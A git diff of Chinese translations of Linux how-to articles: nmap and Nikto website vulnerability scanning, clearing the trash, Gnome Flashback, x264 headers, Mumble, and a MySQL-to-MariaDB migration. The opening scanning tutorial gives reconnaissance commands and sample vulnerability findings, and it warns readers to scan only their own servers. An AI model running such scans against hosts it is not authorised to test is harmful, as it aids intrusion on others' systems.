+ Selecting previously unselected package nmap. + (Reading database ... 56834 files and directories currently installed.) + Unpacking nmap (from .../nmap_5.21-1.1ubuntu1_amd64.deb) ... + Processing triggers for man-db ... + Setting up nmap (5.21-1.1ubuntu1) ... + +#### 举个例子 #### + +输出 nmap 的版本: + + nmap -V + +或者 + + nmap --version + +**输出样例** + + Nmap version 5.21 ( http://nmap.org ) + +#### 在 Centos 上下载和安装 nmap #### + +要在基于 RHEL 的 Linux 上面安装 nmap ,输入下面的命令: + + yum install nmap + +**输出样例** + + Loaded plugins: protectbase, rhnplugin, security + 0 packages excluded due to repository protections + Setting up Install Process + Resolving Dependencies + --> Running transaction check + ---> Package nmap.x86_64 2:5.51-2.el6 will be installed + --> Finished Dependency Resolution + + Dependencies Resolved + + ================================================================================ + Package Arch Version Repository Size + ================================================================================ + Installing: + nmap x86_64 2:5.51-2.el6 rhel-x86_64-server-6 2.8 M + + Transaction Summary + ================================================================================ + Install 1 Package(s) + + Total download size: 2.8 M + Installed size: 0 + Is this ok [y/N]: y + Downloading Packages: + nmap-5.51-2.el6.x86_64.rpm | 2.8 MB 00:00 + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Installing : 2:nmap-5.51-2.el6.x86_64 1/1 + Verifying : 2:nmap-5.51-2.el6.x86_64 1/1 + + Installed: + nmap.x86_64 2:5.51-2.el6 + + Complete! + +#### 举个例子 #### + +输出 nmap 版本号: + + nmap --version + +**输出样例** + + Nmap version 5.51 ( http://nmap.org ) + +#### 用 Nmap 扫描端口 #### + +你可以用 nmap 来获得很多关于你的服务器的信息,它可以让你站在对你的网站不怀好意的人的角度看你自己的网站。 + +因此,请仅用它测试你自己的服务器或者在行动之前通知服务器的所有者。 + +nmap 的作者提供了一个测试服务器: + + scanme.nmap.org + +有些命令可能会耗时较长: + +要扫描一个 IP 地址或者一个主机名(全称域名),运行: + + nmap 192.168.1.1 + +输出样例: + +![Fig.01: nmap in action](http://s0.cyberciti.org/uploads/faq/2012/11/redhat-nmap-command-output.png) + +扫描以获得主机的操作系统: + + sudo nmap -O 192.168.1.1 + +加上“-”或者“/24”来一次性扫描某个范围里面的多个主机: + + sudo nmap -PN xxx.xxx.xxx.xxx-yyy + +扫描某个范围内可用的服务: + + sudo nmap -sP network_address_range + +扫描 IP 地址时部进行反向 DNS 解析。多数情况下这会加快你获得结果的速度: + + sudo nmap -n remote_host + +扫描一个特定端口而不是所有常用端口: + + sudo nmap -p port_number remote_host + +扫描一个网络,找出哪些服务器在线,分别运行了什么服务。 + +这就是传说中的主机探索或者 ping 扫描: + + nmap -sP 192.168.1.0/24 + +输出样例: + + Host 192.168.1.1 is up (0.00035s latency). + MAC Address: BC:AE:C5:C3:16:93 (Unknown) + Host 192.168.1.2 is up (0.0038s latency). + MAC Address: 74:44:01:40:57:FB (Unknown) + Host 192.168.1.5 is up. + Host nas03 (192.168.1.12) is up (0.0091s latency). + MAC Address: 00:11:32:11:15:FC (Synology Incorporated) + Nmap done: 256 IP addresses (4 hosts up) scanned in 2.80 second + +理解端口配置和如何发现你的服务器上的攻击目标只是确保你的信息和你的 VPS 安全的第一步。 + +### 用 Nikto 扫描你网站的缺陷 ### + +[Nikto][4] 网络扫描器是一个开源的 web 服务器的扫描软件,它可以用来扫描 web 服务器上的恶意的程序和文件。Nikto 也可以用来检查软件版本是否过期。Nikto 能进行简单而快速地扫描以发现服务器上危险的文件和程序。扫描结束后会给出一个日志文件。` + +#### 在 Linux 服务器上下载和安装 Nikto #### + +Perl 在 Linux 上是预先安装好的,所以你只需要从[项目页面][5]下载 nikto ,解压到一个目录里面,然后开始测试。 + + wget https://cirt.net/nikto/nikto-2.1.4.tar.gz + +你可以用某个归档管理工具解包,或者如下同时使用 tar 和 gzip : + + tar zxvf nikto-2.1.4.tar.gz + cd nikto-2.1.4 + perl nikto.pl + +安装正确的话会得到这样的结果: + + - ***** SSL support not available (see docs for SSL install) ***** + - Nikto v2.1.4 + --------------------------------------------------------------------------- + + ERROR: No host specified + + -config+ Use this config file + -Cgidirs+ scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/" + -dbcheck check database and other key files for syntax errors + -Display+ Turn on/off display outputs + -evasion+ ids evasion technique + -Format+ save file (-o) format + -host+ target host + -Help Extended help information + -id+ Host authentication to use, format is id:pass or id:pass:realm + -list-plugins List all available plugins + -mutate+ Guess additional file names + -mutate-options+ Provide extra information for mutations + -output+ Write output to this file + -nocache Disables the URI cache + -nossl Disables using SSL + -no404 Disables 404 checks + -port+ Port to use (default 80) + -Plugins+ List of plugins to run (default: ALL) + -root+ Prepend root value to all requests, format is /directory + -ssl Force ssl mode on port + -Single Single request mode + -timeout+ Timeout (default 2 seconds) + -Tuning+ Scan tuning + -update Update databases and plugins from CIRT.net + -vhost+ Virtual host (for Host header) + -Version Print plugin and database versions + + requires a value + + Note: This is the short help output. Use -H for full help. + +这个报错只是告诉我们没有给出必要的参数。SSL 支持可以通过安装相关的 perl ssl 模块得到(sudo apt-get install libnet-ssleay-perl)。 + +#### 更新 nikto 数据库 #### + +在开始使用之前我们需要先更新 nikto 数据库: + + /usr/local/bin/nikto.pl -update + +下面的命令可以列出可用的 nikto 插件。 + + nikto.pl -list-plugins // To list the installed plugins // + +#### 扫描以寻找缺陷 #### + +我们用一个 url 来在做个简单的测试。 + + perl nikto.pl -h http://www.host-name.com + +**输出样例** + +会有十分冗长的输出,可能一开始会让人感到困惑。许多 Nikto 的警报会返回 OSVDB 序号。这是由开源缺陷数据库([http://osvdb.org/][6])所指定。你可以在 OSVDB 上找出相关缺陷的深入说明。 + + $ nikto -h http://www.host-name.com + - Nikto v2.1.4 + --------------------------------------------------------------------------- + + Target IP: 1.2.3.4 + + Target Hostname: host-name.com + + Target Port: 80 + + Start Time: 2012-08-11 14:27:31 + --------------------------------------------------------------------------- + + Server: Apache/2.2.22 (FreeBSD) mod_ssl/2.2.22 OpenSSL/1.0.1c DAV/2 + + robots.txt contains 4 entries which should be manually viewed. + + mod_ssl/2.2.22 appears to be outdated (current is at least 2.8.31) (may depend on server version) + + ETag header found on server, inode: 5918348, size: 121, mtime: 0x48fc943691040 + + mod_ssl/2.2.22 OpenSSL/1.0.1c DAV/2 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. + + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + + /lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist + + OSVDB-2322: /gallery/search.php?searchstring=: Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. http://www.securityfocus.com/bid/8288. + + OSVDB-7022: /calendar.php?year=&month=03&day=05: DCP-Portal v5.3.1 is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html. + + OSVDB-3233: /phpinfo.php: Contains PHP configuration information + + OSVDB-3092: /system/: This might be interesting... + + OSVDB-3092: /template/: This may be interesting as the directory may hold sensitive files or reveal system information. + + OSVDB-3092: /updates/: This might be interesting... + + OSVDB-3092: /README: README file found. + + 6448 items checked: 1 error(s) and 14 item(s) reported on remote host + + End Time: 2012-08-11 15:52:57 (5126 seconds) + --------------------------------------------------------------------------- + + 1 host(s) tested + $ + +**Nikto** 是一个非常轻量级的通用工具。因为 Nikto 是用 Perl 写的,所以它可以在几乎任何服务器的操作系统上运行。 + +希望这篇文章能在你检查 wordpress 站点的缺陷的时候给你一些提示。我之前的文章[如何安全加固 WordPress 站点][7]记录了一个**清单**,可以让你保护你的 WordPress 站点的工作变得更简单。 + +有想说的,留下你的评论。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/scan-check-wordpress-website-security-using-wpscan-nmap-nikto/ + +作者:[anismaj][a] +译者:[boredivan](https://github.com/boredivan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/anis/ +[1]:http://www.unixmen.com/install-wordpress-ubuntu-14-10/ +[2]:http://www.unixmen.com/install-configure-wordpress-4-0-benny-centos-7/ +[3]:http://www.unixmen.com/secure-wordpress-website/ +[4]:http://www.unixmen.com/install-nikto-web-scanner-check-vulnerabilities +[5]:https://cirt.net/nikto/ +[6]:http://osvdb.org/ +[7]:http://www.unixmen.com/secure-wordpress-website/ diff --git a/published/201504/20150209 Fix Cannot Empty Trash In Ubuntu 14.04 [Quick Tip].md b/published/201504/20150209 Fix Cannot Empty Trash In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..dcc6cb31c4 --- /dev/null +++ b/published/201504/20150209 Fix Cannot Empty Trash In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,37 @@ +在Ubuntu 14.04 中修复无法清空回收站的问题 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/empty-the-trash.jpg) + +### 问题 ### + +**我遇到了无法在Ubuntu 14.04中清空回收站的问题**。我右键回收站图标并选择清空回收站,就像我一直做的那样。我看到进度条显示删除文件中过了一段时间。但是它停止了,并且Nautilus文件管理也停止了。我不得不在终端中停止了它。 + +但是这很痛苦因为文件还在垃圾箱中。并且我反复尝试清空后窗口都冻结了。 + +### 方案 ### + +老实说,我不知道什么导致了这个问题。但是我有一个解决方案如果你在Ubuntu 14.04或者14.10遇到这个问题的话。 + +打开终端并使用下面的命令: + + sudo rm -rf ~/.local/share/Trash/* + +这里注意你的输入。你使用超级管理员权限来运行删除命令。我相信你不会删除其他文件或者目录。 + +上面的命令会删除回收站目录下的所有文件。换句话说,这是用命令清空垃圾箱。使用完上面的命令后,你会看到垃圾箱已经清空了。如果你清空了所有文件,你不应该在看到Nautilus崩溃的问题了。 + +### 对你有用么? ### + +我希望这篇贴士对你有用,今后你也不会在Ubuntu或者其他发行版中再遇到相同的问题。如果你遇到任何问题请让我知道。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-empty-trash-ubuntu/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ diff --git a/published/201504/20150209 Install the Gnome Flashback classical desktop on Ubuntu 14.10 or Linux Mint 17.md b/published/201504/20150209 Install the Gnome Flashback classical desktop on Ubuntu 14.10 or Linux Mint 17.md new file mode 100644 index 0000000000..a881b2fcc6 --- /dev/null +++ b/published/201504/20150209 Install the Gnome Flashback classical desktop on Ubuntu 14.10 or Linux Mint 17.md @@ -0,0 +1,101 @@ +在Ubuntu14.10/Mint7上安装Gnome Flashback 经典桌面 +================================================================================ +如果你不喜欢现在的Unity桌面,[Gnome Flashback][1]桌面环境是一个简单的并且很棒的选择,让你能找回曾经经典的桌面。 + +Gnome Flashback基于GTK3并提供与原先gnome桌面视觉上相似的界面。 + + Gnome Flashback的另一个改变是采用了源自mint和xface的MATE桌面,但无论mint还是xface都是基于GTK2的。 + +### 安装 Gnome Flashback ### + +在你的ubuntu上安装以下包即可: + + $ sudo apt-get install gnome-session-flashback + +然后注销返回到登录界面,单击密码输入框右上角的徽标型按钮,即可选择桌面环境。可供选择的有Gnome Flashback (Metacity) 会话模式和Gnome Flashback (Compiz)会话模式。 + +Metacity更轻更快,而Compiz则能带给你更棒的桌面效果。下面是我使用gnome flashback桌面的截图。 + +桌面采用了elementary OS的壁纸和Plank dock并且移除了底部面板。这些都会在这篇教程中涉及到。 + +![ubuntu gnome flashback](http://www.binarytides.com/blog/wp-content/uploads/2015/02/ubuntu-gnome-flashback.png) + +在安装好gnome flashback桌面以后也许你对效果还不满意,这样你可能需要执行接下来的一系列操作来对它进行微调。 + +### 1. 安装 Gnome Tweak Tool ### + +Gnome Tweak Tool能够帮助你定制比如字体、主题等,这些在Unity桌面的控制中心是十分困难,几乎不可能完成的任务。 + + $ sudo apt-get install gnome-tweak-tool + +启动按步骤: 应用程序 > 系统工具 > 首选项 > Tweak Tool + +### 2. 在面板上添加小应用 ### + +默认的右键点击面板是没有效果的。你可以尝试在右键点击面板的同时按住键盘上的Alt+Super (win)键,这样就会出现定制面板的相关选项。 + +你可以修改或删除面板,并在上面添加些小应用。在这个例子中我们移除了底部面板,并用Plank dock来代替它的位置。 + +在顶部面板的中间添加一个显示时间的小应用。通过配置使它显示时间和天气。 + +同样的添加一个工作空间切换器到顶部面板,并创建合适个数的工作空间。 + +### 3. 将窗口标题栏的按钮右置 ### + +在ubuntu中,最小化、最大化和关闭按钮默认是在标题栏左侧的。需要稍作手脚才能让他们乖乖回到右边去。 + +想让窗口的按钮到右边可以使用下面的命令,这是我在askubuntu上找到的。 + + $ gsettings set org.gnome.desktop.wm.preferences button-layout 'menu:minimize,maximize,close' + +### 4.安装 Plank dock ### + +plank dock位于屏幕底部,用于启动应用和切换打开的窗口。它会在必要的时间隐藏自己,并在需要的时候出现。elementary OS使用的dock就是plank dock。 + +运行以下命令安装: + + $ sudo add-apt-repository ppa:ricotz/docky -y + $ sudo apt-get update + $ sudo apt-get install plank -y + +现在启动:应用程序 > 附件 > Plank。若想让它开机自动启动,找到 应用程序 > 系统工具 > 首选项 > 启动应用程序 并将“plank”的命令加到列表中。 + +### 5. 安装 Conky 系统监视器 ### + +Conky非常酷,它用系统的中如CPU和内存使用率的统计值来装饰桌面。它不太占资源,并且绝大部分情况下运行都不会有什么问题。 + +运行如下命令安装: + + $ sudo apt-add-repository -y ppa:teejee2008/ppa + $ sudo apt-get update + $ sudo apt-get install conky-manager + +现在启动:应用程序 > 附件 > Conky Manager ,选择你想在桌面上显示的部件。Conky Manager同样可以配置到启动项中。 + +### 6. 安装CCSM ### + +如果你更愿意使用Gnome Flashback (Compiz),那么CCSM将是你配置桌面特效的得力助手。 + +运行以下命令安装: + + $ sudo apt-get install compizconfig-settings-manager + +启动按步骤: 应用程序 > 系统工具 > 首选项 > CompizConfig Settings Manager. + + +> 在虚拟机中经常会发生compiz会话中装饰窗口消失。可以通过启动Compiz设置,并启用"Copy to texture"插件,注销后重新登录即可。 + +不过值得一提的是Compiz 会话会比Metacity慢。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/install-gnome-flashback-ubuntu/ + +作者:[Silver Moon][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117145272367995638274/posts +[1]:https://wiki.gnome.org/action/show/Projects/GnomeFlashback?action=show&redirect=GnomeFlashback diff --git a/published/201504/20150209 Linux FAQs with Answers--How to fix 'fatal error--x264.h--No such file or directory' on Linux.md b/published/201504/20150209 Linux FAQs with Answers--How to fix 'fatal error--x264.h--No such file or directory' on Linux.md new file mode 100644 index 0000000000..57f8983d89 --- /dev/null +++ b/published/201504/20150209 Linux FAQs with Answers--How to fix 'fatal error--x264.h--No such file or directory' on Linux.md @@ -0,0 +1,91 @@ +Linux 有问必答:如何在Linux 中修复“fatal error: x264.h: No such file or directory”的错误 +================================================================================ +> **提问**: 我想在Linux中从源码编译视频编码程序。到那时,在编译时,我遇到了一个错误“fatal error: x264.h: No such file or directory”,我该如何修复? + +下面的编译错误错明你系统中没有x264开发库文件。 + + fatal error: x264.h: No such file or directory + +[x264][1]是GNU GPL授权的H.264/MPEG-4 AVC编码库。x264库被广泛用于视频编码/转码程序比如Avidemux、[FFmpeg][2]、 [HandBrake][3]、 OpenShot、 MEncode等等。 + +要解决这个问题,你需要安装x264的开发库文件。你可以如下做。 + +###在 Debian、 Ubuntu 或者 Linux Mint 中安装像x264库和开发文件 ### + +在基于Debian的系统中,x264库已经包含在基础仓库中。可以直接用apt-get来安装。 + + $ sudo apt-get install libx264-dev + +### 在 Fedora、 CentOS/RHEL中安装像x264库和开发文件 ### + +在基于Red Hat的发行版比如Fedora或者CentOS,x264库在免费的RPM Fusion仓库中有。那么,你需要首先安装[RPM Fusion (免费)][4] 。 + +RPM Fusion设置完成后,你可以使用下面的命令安装x264开发文件。 + + $ sudo yum --enablerepo=rpmfusion-free install x264-devel + +注意RPM Fusion仓库在CentOS 7中还没有,因此上面的方法在CentOS 7中还不可行。万一是CentOS 7 ,你可以从源码编译并安装x264,下面会解释的。 + +### 在Debian、 Ubuntu 或者 Linux Mint中源码编译x264库 ### + +如果libx264包在你的发行版中并没有,那么你可以按照下面的方法编译最新的x264库。 + + $ sudo apt-get install g++ automake autoconf libtool yasm nasm git + $ git clone git://git.videolan.org/x264.git + $ cd x264 + $ ./configure --enable-static --enable-shared + $ make + $ sudo make install + +x264库将会安装在/usr/local/lib。要让其他程序可以使用这个库,你需要完成最后一步。 + +打开/etc/ld.so.conf,并添加下面的行。 + + $ sudo vi /etc/ld.so.conf + +---------- + + /usr/local/lib + +最后运行下面的命令重新加载共享库: + + $ sudo ldconfig + +### 在 Fedora, CentOS/RHEL 中源码编译x264库 ### + +如果你Linux的发行版中没有x264库(比如:CentOS 7)或者x264库并不是最新的,你可以如下编译最新的x264库。 + + $ sudo yum install gcc gcc-c++ automake autoconf libtool yasm nasm git + $ git clone git://git.videolan.org/x264.git + $ cd x264 + $ ./configure --enable-static --enable-shared + $ make + $ sudo make install + +最后,要让其他的程序可以访问到位于 /usr/local/lib的x264库,在 /etc/ld.so.conf加入下面的行。 + + $ sudo vi /etc/ld.so.conf + +---------- + + /usr/local/lib + +最后运行下面的命令重新加载共享库: + + $ sudo ldconfig + +![](https://farm8.staticflickr.com/7350/16453197512_7c18c5c09e_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fatal-error-x264-h-no-such-file-or-directory.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.videolan.org/developers/x264.html +[2]:http://ask.xmodulo.com/compile-ffmpeg-centos-fedora-rhel.html +[3]:http://xmodulo.com/how-to-install-handbrake-on-linux.html +[4]:http://xmodulo.com/how-to-install-rpm-fusion-on-fedora.html diff --git a/published/201504/20150211 Install Mumble in Ubuntu an Opensource VoIP Apps.md b/published/201504/20150211 Install Mumble in Ubuntu an Opensource VoIP Apps.md new file mode 100644 index 0000000000..fdaaef9e70 --- /dev/null +++ b/published/201504/20150211 Install Mumble in Ubuntu an Opensource VoIP Apps.md @@ -0,0 +1,78 @@ +游戏玩家的福音:在 Ubuntu 上安装开源 VoIP 应用 Mumble +================================================================================ +Mumble是一个自由开源的VoIP应用,在新的 BSD 许可证下发布,主要面向的用户群体是游戏玩家。运行起来类似于TeamSpeak和Ventrilo,用户通过连接到同一个服务器来实现相互通讯。 + +Mumble提供了如下的漂亮特性: + +- 低延迟,这点对游戏相当重要 +- 提供游戏中的可视插件,通过它你可以知道是谁正在和你通话并定位他们的位置 +- 交谈内容经过加密的,能够保护你的隐私和安全 +- 界面简单易于上手 +- 稳定高效的使用你的服务器资源 + +### 安装 Mumble ### + +[Mumble][1]已经流行开来,进入了许多linux主流发行版的软件仓库,这使它安装起来更加的方便。若你使用的是Ubuntu那么使用apt-get就能安装,详细命令如下: + + $ sudo apt-get install mumble-server + +![mumble install](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-install.jpg) + +这条命令将会在你的服务器上安装服务端(亦称Murmur)。 + +### 配置 Mumble ### + +运行以下命令启动Mumble: + + $ sudo dpkg-reconfigure mumble-server + +会弹出以下一些问题: + +![mumble q1](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-q1.jpg) + +选择“是”让服务器开机时自动启动mumble,接着它会询问你是否运行高优先级模式以保持低延迟,为了让它保持最佳性能这是个不错的主意。 + +![mumble q2](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-q2.jpg) + +接着为你刚安装好的mumble服务端设管理员用户的密码,记住这个密码,它会在登录时用到。 + +![mumble q3](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-q3.jpg) + +### 安装 Mumble 客户端 ### + +客户端可以安装到许多的主流操作系统中,例如windows,mac和linux。我们将教你在Ubuntu linux上安装和配置,你可以使用软件中心也可以用命令安装客户端: + + $ sudo apt-get install mumble + +第一次运行mumble时,配置向导将会帮助你配置音频的输入输出,使其能在客户端上保持最好的效果。第一次同样也会询问你要使用的是什么声音设备和麦克风: + +![mumble client 1](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-client-1.jpg) + +然后它将帮你校准设备: + +![mumble client 2](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-client-2.jpg) + +因为mumble会帮你加密所有的通讯内容所以它会要求你创建证书: + +![mumble client 3](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-client-3.jpg) + +完成配置向导后你就能添加第一个服务器,连接对话框如下图所示: + +![mumble add server](http://blog.linoxide.com/wp-content/uploads/2015/01/mumble-add-server.jpg) + +首先输入一个标签,名字任意因为那只不过是为了记住服务器的,然后输入服务器的地址和端口,最后使用“SuperUser”作为用户名,而密码则是你配置mumble服务器端时输入的密码。 + +现在你可以连接到服务器了,在联网玩游戏或与你好友、队友聊天开黑时享受这些功能给你带来的乐趣吧! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/install-mumble-ubuntu/ + +作者:[Adrian Dinu][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://wiki.mumble.info/wiki/Main_Page diff --git a/published/201504/20150211 Simple Steps Migration From MySQL To MariaDB On Linux.md b/published/201504/20150211 Simple Steps Migration From MySQL To MariaDB On Linux.md new file mode 100644 index 0000000000..a778240683 --- /dev/null +++ b/published/201504/20150211 Simple Steps Migration From MySQL To MariaDB On Linux.md @@ -0,0 +1,171 @@ +Linux上从MySQL迁移到MariaDB的简单步骤 +================================================================================ +大家好!这是一篇介绍如何在服务器或个人电脑上从MySQL迁移到MariaDB的教程。也许你会问为什么我们要将数据库管理从MySQL迁移到MariaDB。往下看我们告诉你为什么这样做。 + +### 为什么要用MariaDB来代替MySQL ### + +MariaDB是MySQL社区开发的分支,也是一个增强型的替代品。它由MySQL前开发者们带头组织的基金会开发,使用起来和MySQL完全一样。自从Oracle买下了MySQL,它就不再自由开源了,但是 **MariaDB仍然自由开源**。一些如谷歌、维基、LinkedIn、Mozilla等的顶级的网站已经迁移到MariaDB了。它的优势在哪里: + +- 向后兼容MySQL +- 永远开源 +- 由MySQL缔造者的维护 +- 更尖端的功能 +- 更多的存储引擎 +- 大型的网站已经转向MariaDB + +现在,让我们迁移到MariaDB吧! + +让我们创建一个叫**linoxidedb**的**用于测试的**示例数据库。 + +使用以下命令用root账户登陆MySQL: + + $ mysql -u root -p + +输入mysql 的 root 用户密码后,你将进入**mysql的命令行** + +**创建测试数据库:** + +在mysql命令行输入以下命令以创建测试数据库。 + + mysql> create database linoxidedb; + +查看可用的数据库,输入以下命令: + + mysql> show databases; + +![creating test databases](http://blog.linoxide.com/wp-content/uploads/2015/01/creating-test-databases.png) + +如你所见,算上刚刚新建的linoxidedb我们一共有5个数据库。 + + mysql> quit + +现在,我们就将刚创建的数据库从MySQL迁移到MariaDB。 + +注:使用CentOS这类基于fedora的linux发行版没有必要参考这篇教程,因为它们在安装MariaDB时会自动代替MySQL,无需备份现有的数据库,你只需要更新mysql就可以得到mariadb。 + +### 1. 备份现有的数据库 ### + +我们第一个重要的步骤就是备份现有的数据库。我们在**终端(不是MySQL命令行)**里输入如下命令来完成备份。 + + $ mysqldump --all-databases --user=root --password --master-data > backupdatabase.sql + +哇哦!我们遇到了点麻烦。别担心我们可以搞定。 + + $ mysqldump: Error: Binlogging on server not active + +![](http://blog.linoxide.com/wp-content/uploads/2015/01/mysqldump-error.png) + +*mysqldump error* + +为了修复这个错误,我们需要对**my.cnf**文件做一些小改动。 + +编辑my.cnf文件: + + $ sudo nano /etc/mysql/my.cnf + +在[mysqld]部分添加如下参数。 + +**log-bin=mysql-bin** + +![configuring my.cnf](http://blog.linoxide.com/wp-content/uploads/2015/01/configuring-my.cnf_.png) + +好了,在保存并关闭文件后,我们需要重启一下mysql服务。运行以下命令重启: + + $ sudo /etc/init.d/mysql restart + +现在,重新运行mysqldump命令来备份所有的数据库。 + + $ mysqldump --all-databases --user=root --password --master-data > backupdatabase.sql + +![](http://blog.linoxide.com/wp-content/uploads/2015/01/crearing-bakup-file.png) + +*dumping databases* + +上面的命令将会备份所有的数据库,把它们存储在当前目录下的**backupdatabase.sql**文件中。 + +### 2. 卸载MySQL ### + +首先,我们得把**my.cnf文件挪到安全的地方去**。 + +**注**:在你卸载MySQL包的时候不会自动删除my.cnf文件,我们这样做只是以防万一。在MariaDB安装时,它会询问我们是保持现存的my.cnf文件,还是使用包中自带的版本(即新my.cnf文件)。 + +在shell或终端中输入如下命令来备份my.cnf文件: + + $ sudo cp /etc/mysql/my.cnf my.cnf.bak + +运行命令来终止mysql服务: + + $ sudo /etc/init.d/mysql stop + +然后移除mysql包: + + $ sudo apt-get remove mysql-server mysql-client + +![uninstalling mysql](http://blog.linoxide.com/wp-content/uploads/2015/01/uninstalling-mysql.png) + +### 3. 安装MariaDB ### + +这是在Ubuntu系统中安装MariaDB的命令: + + $ sudo apt-get install software-properties-common + $ sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xcbcb082a1bb943db + # sudo add-apt-repository 'deb http://mirror.mephi.ru/mariadb/repo/5.5/ubuntu trusty main' + +![adding mariadb repo](http://blog.linoxide.com/wp-content/uploads/2015/01/adding-repo-mariadb.png) + +键值导入并且添加完仓库后,你就可以用以下命令安装MariaDB了: + + $ sudo apt-get update + $ sudo apt-get install mariadb-server + +![installing mariadb](http://blog.linoxide.com/wp-content/uploads/2015/01/installing-mariadb.png) + +![my.conf configuration prompt](http://blog.linoxide.com/wp-content/uploads/2015/01/my.conf-configuration-prompt.png) + +我们应该还没忘记在MariaDB安装时,它会问你是使用现有的my.cnf文件,还是包中自带的版本。你可以使用以前的my.cnf也可以用包中自带的。即使你想直接使用新的my.cnf文件,你依然可以晚点时候将以前的备份内容还原进去(别忘了我们已经将它复制到安全的地方了)。所以,我们直接选择了默认的选项“N”。如果需要安装其他版本,请参考[MariaDB官方仓库][2]。 + +### 4. 恢复配置文件 ### + +想要将my.cnf.bak中的内容恢复到my.cnf,在终端中输入以下命令。由于my.cnf.bak文件在当前目录下,所以我们只要简单的执行以下命令即可: + + $ sudo cp my.cnf.bak /etc/mysql/my.cnf + +### 5. 导入数据库 ### + +最后,让我们把我们之前创建的数据库导入吧!运行一下命令即可完成导入。 + + $ mysql -u root -p < backupdatabase.sql + +就这样,我们已成功将之前的数据库导入了进来。 + +来,让我们登录一下mysql命令行,检查一下数据库是否真的已经导入了: + + $ mysql -u root -p + +![importing database](http://blog.linoxide.com/wp-content/uploads/2015/01/importing-database.png) + +为了检查数据库是否被迁移到MariaDB,请在MariaDB命令行中输入“**show databases**;”不用输入(“”),如下: + + mariaDB> show databases; + +![mysql to mariadb database migrated](http://blog.linoxide.com/wp-content/uploads/2015/01/maria-database-migrated.png) + +如你所见,linoxidedb及所有的数据库都已经成功的被迁移了。 + +### 总结 ### + +最后,我们已经成功地从MySQL迁移到了MariaDB数据库管理系统。MariaDB比MySQL好,虽然在性能方面MySQL还是比它更快,但是MariaDB的优点在于它额外的特性与支持的许可证。这能够确保它自由开源(FOSS),并永久自由开源,相比之下MySQL还有许多额外的插件,有些不能自由使用代码、有些没有公开的开发进程、有些在不久的将来会变的不再自由开源。如果你有任何的问题、评论、反馈给我们,不要犹豫直接在评论区留下你的看法。谢谢观看本教程,希望你能喜欢MariaDB。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/migrate-mysql-mariadb-linux/ + +作者:[Arun Pyasi][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://mariadb.org/ +[2]:https://downloads.mariadb.org/mariadb/repositories/#mirror=mephi diff --git a/published/201504/20150215 How to analyze and view Apache web server logs interactively on Linux.md b/published/201504/20150215 How to analyze and view Apache web server logs interactively on Linux.md new file mode 100644 index 0000000000..06a32d3fcb --- /dev/null +++ b/published/201504/20150215 How to analyze and view Apache web server logs interactively on Linux.md @@ -0,0 +1,144 @@ +在 Linux 中以交互方式实时查看Apache web访问统计 +================================================================================ + +无论你是在网站托管业务,还是在自己的VPS上运行几个网站,你总会有需要显示访客统计信息,例如前几的访客、访问请求的文件(无论动态或者静态)、所用的带宽、客户端的浏览器,和访问的来源网站,等等。 + +[GoAccess][1] 是一款用于Apache或者Nginx的命令行日志分析器和交互式查看器。使用这款工具,你不仅可以浏览到之前提及的相关数据,还可以通过分析网站服务器日志来进一步挖掘数据 - 而且**这一切都是在一个终端窗口实时输出的**。由于今天的[大多数web服务器][2]都使用Debian的衍生版或者基于RedHat的发行版来作为底层操作系统,所以本文中我告诉你如何在Debian和CentOS中安装和使用GoAccess。 + +### 在Linux系统安装GoAccess ### + 